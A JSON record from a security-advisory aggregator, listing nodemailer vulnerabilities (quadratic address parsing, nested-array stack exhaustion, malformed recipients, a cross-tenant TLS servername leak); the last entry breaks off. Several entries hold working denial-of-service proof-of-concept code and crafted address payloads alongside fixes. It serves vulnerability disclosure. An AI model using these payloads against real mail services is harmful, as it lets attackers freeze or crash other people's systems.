10.0.9"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOW04LTI3d3YtaHIyN84AB_GU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13eHh4LXI0Mm0tOXJwOM4AB9Sj","url":"https://github.com/advisories/GHSA-wxxx-r42m-9rp8","title":"Duplicate Advisory: Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-39m8-27wv-hr27. This link is maintained to preserve external references.\n\n## Original Description\nNodemailer from 3.0.0 before 10.0.10 contains a denial of service vulnerability in MessageParser.parseHeaders that allows users to exhaust CPU through quadratic header unfolding. Attackers can supply large recipient lists or long headers that fold into tens of thousands of continuation lines, blocking the Node.js event loop during DKIM signing.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-15T00:31:19.000Z","withdrawn_at":"2026-10-22T16:06:03.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-39m8-27wv-hr27","https://nvd.nist.gov/vuln/detail/CVE-2026-110871","https://www.vulncheck.com/advisories/nodemailer-3.0.0-before-10.0.10-quadratic-dkim-header-unfolding-denial-of-service","https://github.com/advisories/GHSA-wxxx-r42m-9rp8"],"source_kind":"github","identifiers":["GHSA-wxxx-r42m-9rp8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T17:00:08.434Z","updated_at":"2026-10-24T21:00:12.826Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eHh4LXI0Mm0tOXJwOM4AB9Sj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13eHh4LXI0Mm0tOXJwOM4AB9Sj","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.0.0, \u003c= 10.0.9"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13eHh4LXI0Mm0tOXJwOM4AB9Sj/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcmdoLXhwOHItcDNtNc4AB7Kk","url":"https://github.com/advisories/GHSA-prgh-xp8r-p3m5","title":"Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)","description":"### Summary\n\n`nodemailer/lib/addressparser` parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.\n\n### Details\n\nThe parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like `a@b(c)@b(c)@b(c)...`, every atom re-joins that same growing string.\n\nThe join check in `src/addressparser/index.ts`:\n\n```js\nconst joins =\n    prevToken \u0026\u0026\n    prevToken.noBreak \u0026\u0026\n    parts.length \u0026\u0026\n    (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');\n```\n\nThe issue is the order of the last two operands. `parts[parts.length - 1].slice(-1)` runs before the cheap `token.value.charAt(0)`. `slice(-1)` has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since `||` is left to right, the cheap `charAt(0)` that would short-circuit never gets the chance.\n\nThe chain: long comment-joined address → one growing accumulator → `slice(-1)` re-flattens it on every token → quadratic parse time.\n\n### PoC\n\nIsolated, just the parser (`npm i nodemailer@10.0.3`):\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconst s = Date.now();\naddressparser('a' + '@b(c)'.repeat(130000));\nconsole.log(Date.now() - s, 'ms'); // ~7000 ms, blocking\n```\n\nEnd to end through mailparser, the remote path (`npm i mailparser@3.9.24`):\n\n```js\nconst { simpleParser } = require('mailparser');\n(async () =\u003e {\n  const to = 'a' + '@b(c)'.repeat(130000);\n  const eml = `From: a@b.com\\r\\nTo: ${to}\\r\\nSubject: x\\r\\n\\r\\nhi\\r\\n`;\n  const s = Date.now();\n  await simpleParser(eml);\n  console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking\n})();\n```\n\nTimings measured on 10.0.3:\n\n| Address value | Parse time |\n| --- | --- |\n| 390 KB | 1.3 s |\n| 585 KB | 5.6 s |\n| 640 KB | 6.7 s |\n| 976 KB | 18 s |\n\nIt survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every `)`+`@` junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.\n\n### Impact\n\nAlgorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.\n\nAffected: anything that runs `addressparser` on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound `To`/`From`/`Cc` with no length cap, so any service parsing inbound mail with it can be frozen by a single email.\n\n### Suggested fix\n\nSwap the last two operands so the cheap check runs first:\n\n```js\n(prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')\n```\n\nPure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-30T14:41:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-prgh-xp8r-p3m5","https://github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.5","https://nvd.nist.gov/vuln/detail/CVE-2026-90776","https://www.vulncheck.com/advisories/nodemailer-9.1.0-through-10.0.4-denial-of-service-via-quadratic-address-parsing","https://github.com/advisories/GHSA-prgh-xp8r-p3m5"],"source_kind":"github","identifiers":["GHSA-prgh-xp8r-p3m5","CVE-2026-90776"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T15:00:09.927Z","updated_at":"2026-10-24T21:00:43.987Z","epss_percentage":0.00684,"epss_percentile":0.51554,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcmdoLXhwOHItcDNtNc4AB7Kk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcmdoLXhwOHItcDNtNc4AB7Kk","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.5","vulnerable_version_range":"\u003e= 9.1.0, \u003c= 10.0.4"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcmdoLXhwOHItcDNtNc4AB7Kk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNTdnLWYyM2ctNDY0Ns4AB7FI","url":"https://github.com/advisories/GHSA-g57g-f23g-4646","title":"Nodemailer: Quoted local-part can produce malformed envelope recipient through RFC 5322 comment parsing","description":"## Summary\n\nNodemailer's address parser can produce an unexpected recipient address when an RFC 5322 comment follows the domain of an address whose local-part is a quoted string.\n\nFor example:\n\n```text\n\"user\"@example.com(x)evil.com\n```\n\nis parsed as:\n\n```text\n{\n  address: \"user@example.com evil.com\",\n  name: \"\"\n}\n```\n\nThe resulting address therefore contains additional attacker-controlled domain text separated by a literal space.\n\nThe parsed `.address` value is subsequently propagated into the SMTP envelope:\n\n```text\nsrc/addressparser/index.ts\n        ↓\nrecipient.address\n        ↓\nsrc/mime-node/index.ts\n        ↓\nenvelope.to\n```\n\nThe envelope construction uses the parsed address without another strict address validation step.\n\nThis appears to be a variant of the RFC 5322 comment parsing issue addressed by GHSA-cc9r-2j5m-2m83, but it follows a different parser path when the local-part is quoted.\n\n## Reproduction\n\nInput:\n\n```text\n\"user\"@example.com(x)evil.com\n```\n\nObserved parser output:\n\n```text\naddress: \"user@example.com evil.com\"\nname: \"\"\n```\n\nA second example:\n\n```text\n\"a\"@b.com(c)d.com(e)f.com\n```\n\nproduces:\n\n```text\naddress: \"a@b.com d.com f.com\"\nname: \"\"\n```\n\nFor comparison, the corresponding unquoted form:\n\n```text\nuser@example.com(x)evil.com\n```\n\ntakes a different code path and is handled by the existing protection differently.\n\n## Technical Details\n\nThe issue is caused by different parsing behavior for quoted and unquoted local-parts.\n\nThe quoted-local-part variant allows the comment-separated trailing domain atoms to remain in the resulting `.address` value.\n\nThat value is then used when constructing the message envelope:\n\n```text\nenvelope.to = recipients.map(to =\u003e to.address as string)\n```\n\nNo additional strict recipient validation is performed at this boundary.\n\n## Security Impact\n\nThe confirmed impact is that attacker-controlled comment content can result in a malformed/ambiguous recipient address being accepted by the parser and propagated into `envelope.to`.\n\nThe reporter did **not confirm successful delivery to an unintended recipient through a real SMTP server using this exact quoted-local-part variant**.\n\nThe remaining question is how real SMTP servers and other Nodemailer transports handle an envelope recipient containing a value such as:\n\n```text\nuser@example.com evil.com\n```\n\nAn end-to-end SMTP test is required to determine whether this parser behavior results in an exploitable delivery or recipient-validation bypass.\n\n## Relationship to GHSA-cc9r-2j5m-2m83\n\nThis report is intended as a potential variant/follow-up to GHSA-cc9r-2j5m-2m83.\n\nThe existing advisory addresses RFC 5322 comment handling in email domains. This report identifies a separate parser path involving quoted local-parts that can preserve additional domain-like content in the normalized address.\n\nPlease evaluate whether this behavior is already covered by the existing fix or represents a remaining parser variant.\n\n## Suggested Fix\n\nThe parser should consistently reject or correctly terminate addresses containing trailing domain atoms after RFC 5322 comments, regardless of whether the local-part is quoted.\n\nIn particular:\n\n```text\n\"user\"@example.com(x)evil.com\n```\n\nshould not result in:\n\n```text\nuser@example.com evil.com\n```\n\nThe envelope-generation layer should also avoid assuming that a parser-produced address is safe for SMTP delivery without appropriate validation.\n\n## Verification Status\n\nConfirmed:\n\n* Parser accepts the quoted-local-part variant.\n* Parser produces an address containing additional attacker-controlled text.\n* The resulting address is propagated into `envelope.to`.\n\nNot confirmed by reporter:\n\n* Successful delivery through a real SMTP server.\n* Delivery to an unintended recipient.\n* Exploitability against a specific downstream SMTP implementation.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T23:44:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646","https://github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.9","https://github.com/advisories/GHSA-g57g-f23g-4646"],"source_kind":"github","identifiers":["GHSA-g57g-f23g-4646"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-10-24T21:00:43.991Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNTdnLWYyM2ctNDY0Ns4AB7FI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNTdnLWYyM2ctNDY0Ns4AB7FI","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.9","vulnerable_version_range":"\u003e= 9.1.0, \u003c 10.0.9"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNTdnLWYyM2ctNDY0Ns4AB7FI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12NTNwLTlmcXAtbTc5as4AB7FH","url":"https://github.com/advisories/GHSA-v53p-9fqp-m79j","title":"Nodemailer: Quadratic backtracking in the addressparser free-text fallback allows remote denial of service","description":"### Summary\n\nWhen `addressparser` finds no address by its strict reading, it falls back to pulling one out of the free text with `/\\s*\\b[^@\\s]+@[^\\s]+\\b\\s*/`. That pattern backtracks quadratically: `[^@\\s]+` is retried from every offset and rescans the run to the next `@` each time. A single header value holding a long whitespace-free run with no usable `@` blocks the Node.js event loop for tens of seconds.\n\nIt is cheaper to exploit than GHSA-prgh-xp8r-p3m5: 273KB is enough for ~43s, where the comment-joined shape needed ~1.5MB for ~10s.\n\n### Details\n\nThe fallback in `src/addressparser/index.ts` ran the pattern as a search. `[^@\\s]+` crosses neither whitespace nor `@`, so from each start offset it scans forward to the next `@` or to the end of the run and then fails, and the engine simply advances one character and repeats. Three shapes make every offset fail:\n\n- the run holds no `@` at all\n- the only `@` has nothing after it\n- the only `@` has nothing before it\n\nA fourth reaches it with a valid address present but placed past a long run, so the long run is walked before the match is found.\n\n### PoC\n\n```js\nconst addressparser = require('nodemailer/lib/addressparser');\nconst s = Date.now();\naddressparser(' \u003e' + '\u003e[x][x]'.repeat(40000)); // 273KB\nconsole.log(Date.now() - s, 'ms'); // ~43000 ms, blocking\n```\n\nMeasured on 10.0.5:\n\n| Value | Parse time |\n| --- | --- |\n| `'[x]'.repeat(40000)` (117KB) | 9.0 s |\n| `'[x]'.repeat(40000) + '@'` (117KB) | 8.9 s |\n| `'@' + '[x]'.repeat(40000)` (117KB) | 8.8 s |\n| `' \u003e' + '\u003e[x][x]'.repeat(40000)` (273KB) | 42.9 s |\n\n### Impact\n\nAlgorithmic-complexity denial of service. Node is single threaded, so the block stalls the whole process. Reachable without authentication anywhere inbound header values are handed to this parser, mailparser being the notable case, and reachable from application input wherever a user-supplied string is used as a message address, since `mime-node` parses `to`, `from` and `cc` when composing.\n\n### Patch\n\nThe search is replaced by a single linear pass that finds the one offset the pattern can match at, which is then applied there with a sticky regex. Match results are unchanged, verified against the previous implementation over 3.4 million random strings comparing both the match offset and the matched text, plus 800k full-parse comparisons.\n\nFound while validating the report in GHSA-prgh-xp8r-p3m5, not reported externally.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-29T23:43:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-v53p-9fqp-m79j","https://github.com/nodemailer/nodemailer/commit/437d7fc47403df176bc39271641541b7a9bce102","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.6","https://github.com/advisories/GHSA-v53p-9fqp-m79j"],"source_kind":"github","identifiers":["GHSA-v53p-9fqp-m79j"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-30T00:00:10.164Z","updated_at":"2026-10-24T21:00:43.992Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NTNwLTlmcXAtbTc5as4AB7FH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12NTNwLTlmcXAtbTc5as4AB7FH","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.6","vulnerable_version_range":"\u003c= 10.0.5"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12NTNwLTlmcXAtbTc5as4AB7FH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dnZ4LXJmZjUtcDVycc4AB7AA","url":"https://github.com/advisories/GHSA-8vvx-rff5-p5rq","title":"Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS","description":"## Submission metadata\n\n| Field | Value |\n|---|---|\n| Ecosystem | npm |\n| Package | `nodemailer` |\n| Repository | https://github.com/nodemailer/nodemailer |\n| Tested commit | `40d52215aac65b811d7e131bc916f68605efd9d2` |\n| Current tested version | `10.0.1` |\n| Confirmed vulnerable versions | `2.7.2`, `3.0.0`, `7.0.11`, `9.1.1`, `10.0.1` |\n| Proposed affected range | `\u003e= 2.7.2, \u003c= 10.0.1` |\n| Patched version | 10.0.2 |\n\n## Summary\n\nNodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as `to`, `cc`, and `bcc`.\n\nThe public `MimeNodeAddressInput` type recursively permits arrays, but `MimeNode._parseAddresses()` flattens only the outermost array. A remaining nested array is passed to `addressparser()`, whose `Tokenizer` coerces the input with `.toString()`. Native `Array.prototype.toString()` recursively processes every nested array through `join()` and `toString()` until the V8 call stack is exhausted.\n\nA valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes:\n\n```text\nRangeError: Maximum call stack size exceeded\n```\n\nThe exception occurs through the normal `sendMail()` API before the `maxRecipients` limit is evaluated. If the integrating application does not catch the synchronous exception around the complete `sendMail()` invocation, the Node.js worker or server process terminates.\n\nNo SMTP server, remote host, large attachment, or successful email delivery is required.\n\nThis is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group **strings**. This report uses Nodemailer's structured recipient-array input and never reaches the parser's `MAX_NESTED_GROUP_DEPTH` protection.\n\n## Security impact\n\nAn attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include:\n\n- Email-sending HTTP APIs that accept structured recipient values.\n- Notification workers consuming JSON jobs from a queue.\n- Template or automation systems that forward parsed recipient data to `sendMail()`.\n- Multi-tenant applications that allow users to configure message recipients.\n\nWhen the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable.\n\nApplications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous `sendMail()` invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs.\n\n## Attack prerequisites\n\nThe vulnerability is reachable when:\n\n1. An application accepts attacker-controlled or partially attacker-controlled recipient data.\n2. The application preserves the array structure after parsing JSON.\n3. The resulting value is passed to a Nodemailer recipient field such as `to`, `cc`, or `bcc`.\n4. The application does not impose its own nesting-depth limit before calling Nodemailer.\n\nThe proof of concept uses `jsonTransport` only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to `jsonTransport`.\n\n## Technical details\n\n### 1. The public input type accepts recursively nested arrays\n\nAt `src/mime-node/index.ts:67`, recipient input is recursively defined:\n\n```ts\nexport type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[];\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67\n\nThis permits values equivalent to:\n\n```js\n[[[[['victim@example.test']]]]]\n```\n\n### 2. `_parseAddresses()` removes only the outermost array\n\nAt `src/mime-node/index.ts:1359-1385`, `_parseAddresses()` wraps the input with `[].concat(addresses)` and iterates the resulting outer array:\n\n```ts\n_parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] {\n    const flattened: MimeNodeAddress[] = [];\n\n    ([] as any[]).concat(addresses).forEach(address =\u003e {\n        if (address \u0026\u0026 address.address) {\n            const normalized = this._normalizeAddress(address.address);\n            // ...\n            return;\n        }\n\n        const parsed = this._normalizeParsedAddresses(addressparser(address));\n        for (let i = 0; i \u003c parsed.length; i++) {\n            flattened.push(parsed[i]);\n        }\n    });\n\n    return flattened;\n}\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386\n\nFor an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy `.address` property, it is passed directly to `addressparser()`.\n\n### 3. `Tokenizer` invokes recursive native array conversion\n\nThe `Tokenizer` constructor performs the following coercion at `src/addressparser/index.ts:393`:\n\n```ts\nthis.str = (str || '').toString();\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393\n\nWhen `str` is an array, this invokes `Array.prototype.toString()`. Array string conversion invokes `join()`, which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling:\n\n```text\nArray.toString\n  -\u003e Array.join\n     -\u003e childArray.toString\n        -\u003e Array.join\n           -\u003e childArray.toString\n              -\u003e ...\n```\n\nAt sufficient depth, V8 raises `RangeError: Maximum call stack size exceeded`.\n\n### 4. The recipient limit is applied too late\n\nNodemailer's `maxRecipients` protection is evaluated only after the message envelope has been constructed:\n\n```ts\nconst recipientCount = mail.message.getEnvelope().to.length;\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417\n\nThe exception occurs inside `getEnvelope()`, so `maxRecipients` cannot prevent this condition.\n\n## Vulnerable code path\n\n```text\ntransporter.sendMail(message)\n  -\u003e MailComposer(mail.data).compile()\n  -\u003e mail.message.getEnvelope()\n  -\u003e MimeNode._parseAddresses(message.to)\n  -\u003e addressparser(nestedArray)\n  -\u003e new Tokenizer(nestedArray)\n  -\u003e nestedArray.toString()\n  -\u003e Array.join / Array.toString recursion\n  -\u003e RangeError: Maximum call stack size exceeded\n```\n\n## Proof of concept\n\n### Test environment\n\n```text\nOperating system: Windows 11\nNode.js: 20.20.2\nNodemailer: 10.0.1\nNodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2\nTransport: jsonTransport\n```\n\n### Installation\n\n```console\nmkdir nodemailer-nested-array-poc\ncd nodemailer-nested-array-poc\nnpm init -y\nnpm install nodemailer@10.0.1\n```\n\nCreate `poc.mjs`:\n\n```js\nimport nodemailer from 'nodemailer';\n\nconst depth = Number(process.argv[2] || 5000);\n\n// Valid JSON containing one address wrapped in `depth` arrays.\nconst json =\n    '['.repeat(depth) +\n    '\"victim@example.test\"' +\n    ']'.repeat(depth);\n\nconst recipient = JSON.parse(json);\n\nconsole.log({\n    nodemailerVersion: '10.0.1',\n    depth,\n    jsonBytes: Buffer.byteLength(json)\n});\n\nconst transport = nodemailer.createTransport({\n    jsonTransport: true\n});\n\nawait transport.sendMail({\n    from: 'sender@example.test',\n    to: recipient,\n    subject: 'Nested recipient array PoC',\n    text: 'test'\n});\n\nconsole.log('sendMail resolved');\n```\n\n### Trigger\n\n```console\nnode poc.mjs 5000\n```\n\n### Observed result\n\n```text\n{\n  nodemailerVersion: '10.0.1',\n  depth: 5000,\n  jsonBytes: 10021\n}\n\nnode:internal/modules/run_main:123\n    triggerUncaughtException(\n    ^\n\nRangeError: Maximum call stack size exceeded\n    at Array.join (\u003canonymous\u003e)\n    at Array.toString (\u003canonymous\u003e)\n    at Array.join (\u003canonymous\u003e)\n    at Array.toString (\u003canonymous\u003e)\n    at Array.join (\u003canonymous\u003e)\n    at Array.toString (\u003canonymous\u003e)\n    ...\n\nNode.js v20.20.2\n```\n\nThe tested process exits with status code `1`.\n\n### Control case\n\nRunning the same code with a nesting depth of 500 succeeds:\n\n```console\nnode poc.mjs 500\n```\n\nObserved result:\n\n```text\n{\n  nodemailerVersion: '10.0.1',\n  depth: 500,\n  jsonBytes: 1021\n}\n\nsendMail resolved\n```\n\nThe difference between the trigger and control cases is only the nesting depth.\n\n### Reproduction notes\n\n- The exact failure depth is platform and runtime dependent because JavaScript stack limits vary.\n- A depth of 5,000 reliably reproduced the exception in the tested Node.js environment.\n- The payload is generated as JSON and parsed with native `JSON.parse()` to model data received by an HTTP API or queue worker.\n- No network connection is performed because `jsonTransport` is used.\n\n## Version verification\n\nThe proof of concept was executed against several released versions. Each listed version exited with `RangeError: Maximum call stack size exceeded` at a depth of 5,000:\n\n| Nodemailer version | Result |\n|---|---|\n| `2.7.2` | Vulnerable |\n| `3.0.0` | Vulnerable |\n| `7.0.11` | Vulnerable |\n| `9.1.1` | Vulnerable |\n| `10.0.1` | Vulnerable |\n\nVersion `7.0.11` is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.\n\nThe proposed affected range is `\u003e= 2.7.2, \u003c= 10.0.1`, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.\n\n## Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874\n\nThe previous advisory used a crafted address **string** containing nested RFC 5322 groups:\n\n```text\ng0: g1: g2: ... victim@example.com;\n```\n\nIts recursive path was:\n\n```text\naddressparser(string)\n  -\u003e _handleAddress()\n  -\u003e addressparser(nested group string)\n```\n\nThat issue was mitigated by adding and propagating a parser recursion-depth counter capped by `MAX_NESTED_GROUP_DEPTH`.\n\nThis report instead supplies a structured JSON **array** through the public recipient input:\n\n```text\nMimeNode._parseAddresses(array)\n  -\u003e addressparser(array)\n  -\u003e Tokenizer\n  -\u003e Array.prototype.toString()\n```\n\nThe array conversion happens before any RFC 5322 group parsing. Consequently:\n\n- No sequence of nested group delimiters is required.\n- `_handleAddress()` is not the source of recursion.\n- The `_depth` parser option is not incremented.\n- `MAX_NESTED_GROUP_DEPTH` is never consulted.\n- Releases containing the previous fix remain vulnerable.\n\nPrevious advisory:\n\nhttps://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v\n\n## Suggested remediation\n\nFlatten `MimeNodeAddressInput` values iteratively before passing scalar values to `addressparser()`. Nested arrays should never be implicitly converted to strings.\n\nFor example, the implementation can maintain an explicit work stack:\n\n```ts\nconst pending: unknown[] = [addresses];\nconst seenArrays = new WeakSet\u003cobject\u003e();\n\nwhile (pending.length) {\n    const value = pending.pop();\n\n    if (Array.isArray(value)) {\n        if (seenArrays.has(value)) {\n            throw new TypeError('Cyclic recipient array');\n        }\n        seenArrays.add(value);\n\n        for (let i = value.length - 1; i \u003e= 0; i--) {\n            pending.push(value[i]);\n        }\n        continue;\n    }\n\n    // Process only scalar strings and structured address objects here.\n}\n```\n\nAdditional hardening options include:\n\n1. Reject array nesting above an explicit maximum before any coercion.\n2. Reject unsupported recipient value types instead of passing them to `addressparser()`.\n3. Catch address-normalization exceptions and report them through the normal `sendMail()` callback or rejected Promise.\n4. Apply input-complexity checks before constructing the envelope and before evaluating `maxRecipients`.\n\nAn iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.\n\n## Suggested regression tests\n\nThe fix should cover:\n\n1. Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error.\n2. Nested inputs through `to`, `cc`, `bcc`, `replyTo`, and explicit envelope fields.\n3. A cyclic JavaScript recipient array.\n4. Ordinary flat strings and arrays, preserving existing behavior.\n5. Arrays containing structured `{ name, address }` objects.\n6. Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T18:23:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8vvx-rff5-p5rq","https://github.com/nodemailer/nodemailer/commit/ebe084940aef88278afc6016b78c6d1c3821bb66","https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2","https://github.com/advisories/GHSA-8vvx-rff5-p5rq"],"source_kind":"github","identifiers":["GHSA-8vvx-rff5-p5rq"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-29T19:00:11.252Z","updated_at":"2026-10-24T21:00:43.998Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dnZ4LXJmZjUtcDVycc4AB7AA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dnZ4LXJmZjUtcDVycc4AB7AA","packages":[{"ecosystem":"npm","package_name":"nodemailer","versions":[{"first_patched_version":"10.0.2","vulnerable_version_range":"\u003c 10.0.2"}],"purl":"pkg:npm/nodemailer"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dnZ4LXJmZjUtcDVycc4AB7AA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02dmo5LW13cTYtMmY1ds4AB67A","url":"https://github.com/advisories/GHSA-6vj9-mwq6-2f5v","title":"Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure","description":"### Summary\n\nNodemailer's process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.\n\nAs a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with `rejectUnauthorized: true`, and sends the victim's SMTP credentials to it.\n\n## Affected component\n\n- **Ecosystem:** npm\n- **Package:** `nodemailer`\n- **Repository:** https://github.com/nodemailer/nodemailer\n- **Tested version:** `10.0.1`\n- 